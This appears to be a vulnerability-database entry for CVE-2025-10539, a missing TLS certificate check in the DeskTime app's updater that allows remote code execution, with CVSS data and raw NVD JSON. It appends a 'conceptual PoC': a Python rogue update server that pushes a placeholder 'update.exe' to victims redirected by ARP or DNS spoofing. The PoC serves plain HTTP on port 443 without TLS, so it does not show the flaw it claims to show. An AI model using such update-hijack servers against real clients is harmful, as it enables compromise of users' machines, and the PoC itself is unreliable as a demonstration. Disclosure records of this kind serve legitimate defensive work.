Security Vulnerability Report
中文
CVE-2025-10539 CVSS 4.8 MEDIUM

CVE-2025-10539

Published: 2026-04-28 09:16:16
Last Modified: 2026-05-18 18:21:52
Source: 551230f0-3615-47bd-b7cc-93e92e730bbf

Description

Due to improper TLS certificate validation in the DeskTime Time Tracking App before version 1.3.674, attackers who can position themselves in the network path between the client and the DeskTime update servers can return a malicious executable in response to an update request. This allows the attacker to achieve user-level remote code execution on the affected client.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:draugiemgroup:desktime_time_tracking:*:*:*:*:*:*:*:* - VULNERABLE
DeskTime Time Tracking App < 1.3.674

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-10539 This script demonstrates a Man-in-the-Middle (MITM) setup to intercept and modify traffic if TLS validation is missing. Note: This is for educational purposes only. """ import socket from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousUpdateHandler(BaseHTTPRequestHandler): """ A rogue HTTP handler that serves a malicious executable instead of the legitimate update. """ def do_GET(self): # Send 200 OK response self.send_response(200) # Set content type as executable or binary self.send_header('Content-Type', 'application/octet-stream') self.send_header('Content-Disposition', 'attachment; filename="update.exe"') self.end_headers() # In a real exploit scenario, this would be a malicious payload (e.g., shellcode) # Here we use a dummy placeholder malicious_payload = b"This is a placeholder for a malicious executable." self.wfile.write(malicious_payload) print("[+] Served malicious payload to client") def log_message(self, format, *args): # Suppress default logging pass if __name__ == "__main__": # Attacker sets up a rogue server listening on a port # They would redirect victim traffic to this port via DNS spoofing or ARP poisoning ROGUE_PORT = 443 server = HTTPServer(('0.0.0.0', ROGUE_PORT), MaliciousUpdateHandler) print(f"[*] Rogue update server listening on port {ROGUE_PORT}...") print("[*] Waiting for victim to request update...") try: server.serve_forever() except KeyboardInterrupt: print("[!] Server stopped.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10539", "sourceIdentifier": "551230f0-3615-47bd-b7cc-93e92e730bbf", "published": "2026-04-28T09:16:16.187", "lastModified": "2026-05-18T18:21:51.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to improper TLS certificate validation in the DeskTime Time Tracking App before version 1.3.674, attackers who can position themselves in the network path between the client and the DeskTime update servers can return a malicious executable in response to an update request. This allows the attacker to achieve user-level remote code execution on the affected client."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "551230f0-3615-47bd-b7cc-93e92e730bbf", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}, {"lang": "en", "value": "CWE-296"}, {"lang": "en", "value": "CWE-494"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:draugiemgroup:desktime_time_tracking:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.3.674", "matchCriteriaId": "D59E9743-3F8A-46EB-8AAC-F684723EDD63"}]}]}], "references": [{"url": "https://desktime.com/download", "source": "551230f0-3615-47bd-b7cc-93e92e730bbf", "tags": ["Product"]}, {"url": "https://r.sec-consult.com/desktime", "source": "551230f0-3615-47bd-b7cc-93e92e730bbf", "tags": ["Third Party Advisory"]}, {"url": "http://seclists.org/fulldisclosure/2026/Apr/20", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "http://seclists.org/fulldisclosure/2026/Apr/21", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "https://sec-consult.com/vulnerability-lab/advisory/missing-tls-certificate-validation-leading-to-rce-in-desktime-time-tracking-app/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}